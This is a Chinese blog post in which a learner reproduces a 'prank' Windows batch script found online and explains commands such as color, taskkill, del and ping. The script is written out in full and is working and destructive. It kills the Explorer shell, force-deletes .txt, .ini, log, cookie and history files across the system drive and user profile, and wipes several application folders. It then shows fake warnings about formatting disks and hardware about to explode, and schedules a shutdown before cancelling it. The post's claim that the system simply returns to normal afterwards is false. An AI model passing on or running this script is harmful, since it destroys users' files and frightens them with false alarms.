对一个恶搞的批处理文件的学习

在网上看到一个恶搞的bat文件代码,开始并不知道bat文件是啥。bat文件是dos下的批处理文件。批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。

在DOS下有许多有意思的命令,这里一个网上抄到的一个恶搞的代码,开始我的bat文件的学习,恶搞代码如下:

@echo off

 color 4f

 taskkill /im explorer.exe /f

 echo 删除C盘所有文件......

 del /f /s /q "%systemdrive%\*.tmp"

 del /f /s /q "%systemdrive%\*.dmp"

 del /f /s /q "%systemdrive%\*._mp"

 del /f /s /q "%systemdrive%\*.gid"

 del /f /s /q "%systemdrive%\*.old"

 del /f /s /q "%systemdrive%\*.chk"

 del /f /s /q "%systemdrive%\*.bak"

 del /f /s /q "%systemdrive%\*.log"

 del /f /s /q "%systemdrive%\*.txt"

 del /f /s /q "%systemdrive%\*.ini"

 del /f /s /q "%systemdrive%\Recycled\*.*"

 del /f /s /q "%systemdrive%\RECYCLER\*.*"

 del /f /s /q "%windir%\inf\*.pnf"

 del /f /s /q "%windir%\Prefetch\*.*"

 @ping -n 2 127.1>nul

 rd /s /q "%windir%\Downloaded Program Files" & md "%windir%\Downloaded Program Files"

 @ping -n 2 127.1>nul

 rd /s /q "%windir%\LastGood" & md "%windir%\LastGood"

 @ping -n 2 127.1>nul

 rd /s /q "%windir%\Offline Web Pages" & md "%windir%\Offline Web Pages"

 @ping -n 2 127.1>nul

 rd /s /q "%windir%\SoftwareDistribution\Download" & md "%windir%\SoftwareDistribution\Download"

 @ping -n 2 127.1>nul

 rd /s /q "%windir%\temp" & md "%windir%\temp"

 @ping -n 2 127.1>nul

 rd /s /q "%userprofile%\Local Settings\Application Data\Microsoft\Media Player" & md "%windir%\Local Settings\Application Data\Microsoft\Media Player"

 @ping -n 2 127.1>nul

 rd /s /q "%userprofile%\UserData" & md "%windir%\UserData"

 @ping -n 2 127.1>nul

 rd /s /q "%appdata%\Adobe" & md "%windir%\Adobe"

 @ping -n 2 127.1>nul

 rd /s /q "%appdata%\Macromedia" & md "%windir%\Macromedia"

 @ping -n 2 127.1>nul

 rd /s /q "%appdata%\Microsoft\Media Player" & md "%windir%\Microsoft\Media Player"

 @ping -n 2 127.1>nul

 rd /s /q "%appdata%\Microsoft\Office\Recent" & md "%windir%\Microsoft\Office\Recent"

 @ping -n 5 127.1>nul

 del /a /f /s /q "%userprofile%\Cookies\*.*"

 del /a /f /s /q "%userprofile%\Recent\*.*"

 del /a /f /s /q "%userprofile%\Local Settings\Application Data\GDIPFONTCACHEV1.dat"

 del /a /f /s /q "%userprofile%\Local Settings\Application Data\IconCache.db"

 del /a /f /s /q "%userprofile%\Local Settings\History\*.*"

 del /a /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"

 del /a /f /s /q "%temp%\*.*" del /a /f /s /q "%userprofile%\AppData\Local\GDIPFONTCACHEV1.dat"

 del /a /f /s /q "%userprofile%\AppData\Local\IconCache.db"

 del /a /f /s /q "%userprofile% \AppData\Local\Microsoft\Windows\History\*.*"

 del /a /f /s /q "%userprofile% \AppData\Local\Microsoft\Windows\Temporary Internet Files\*.*"

 del /a /f /s /q "%userprofile% \AppData\Roaming\Microsoft\Windows\Cookies\*.*"

 del /a /f /s /q "%userprofile% \AppData\Roaming\Microsoft\Windows\Recent\*.*"

 echo 已删除完毕

 @echo.

 echo 删除D盘所有文件......

 @ping -n 3 127.1>nul

 @echo 已删除完毕

 @echo.

 echo 删除E盘所有文件......

 @ping -n 3 127.1>nul

 echo 已删除完毕

 @echo.

 echo 正在低级格式化全部硬盘......

 @ping -n 3 127.1>nul

 echo.

 echo 正在 进行二次 低格硬盘......

 ping -n 3 127.1>nul

 echo.

 echo 正在 进行三次 低格硬盘......

 ping -n 3 127.1>nul

 echo.

 echo 正在 进行四次 低格硬盘......

 ping -n 3 127.1>nul

 echo.

 echo 正在 进行五次 低格硬盘......

 ping -n 3 127.1>nul

 echo.

 echo 注意: cpu温度127度!温度过高报警!!!

 echo.

 ping -n 2 127.1>nul

 echo 注意: 硬盘温度86度!温度过高报警!!!

 echo.

 ping -n 2 127.1>nul

 echo 注意: 显卡温度96度!温度过高报警!!!

 echo.

 ping -n 2 127.1>nul

 echo 注意: 系统崩溃, 主板温度 超过临界值!!! echo.

 echo 注意: 电容负荷超过99% echo. & pause

 echo 电脑将在60秒内崩溃或爆炸!请勿强行关闭电源!否则会 导致cpu和硬盘彻底损毁!!

 shutdown /r /t 60 /c "电脑将在60秒内崩溃或爆炸!请勿强行关闭电源!否则会 导致cpu和硬盘彻底损毁!!"

 ping -n 30 127.1>nul

 shutdown -a

 start explorer.exe

 exit

通过对这些命令和一些参数去cmd下查看帮助(cmd下输入命令 /? 即可看到详细注意和对应的参数列表),不过这里还是有一些不太了解的知识要去整理。

color 4f :2个16进制数,一个代表背景,一个代表字的颜色。

taskkill /im explorer.exe /f:explorer.exe是Windows程序管理器或者文件资源管理器,它用于管理Windows图形壳,包括桌面和文件管理,删除该程序会导致Windows图形界面无法使用。(如果结束了可以利用任务管理器单击【文件】菜单中的【新建任务(运行......)】命令,打开【创建新任务】对话框,键入【explorer.exe】,单击【确定】按钮或者,cmd下运行start explorer.exe均可再次创建该进程

del /f /s /q "%systemdrive%\*.tmp" :%systemdrive% 代表系统盘,通常为C:\
*.tmp 所有的临时文件,*是通配符,tmp是临时文件的扩展名。命令执行的结果就是删除系统盘所有的临时文件。想删别的盘的文件,把%systemdrive%\改成别的盘符,如D:\等等。

     del /f /s /q "%windir%\inf\*.pnf" %Windir%是一个变量,它指的是操作系统安装目录,默认是:“C:\Windows”或:“c:\Winnt”, 

ping -n 2 127.1>nul :-n后面定义发送数据包的数量,127.0.0.1是一个本机ip,不管是否有连网,只要电脑上有网卡这个ip就存在,常有人用这个ping命令来测试网卡是否完好,127.1是化简版本

pause,即和system(“pause”)按任意键继续,以及最后的shutdown命令的使用,和start 创建一个进程,最后exit。因此运行以上脚本的结果应该是一阵恶搞之后恢复正常情况。 

 

 

 

 

 

 

 

 

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值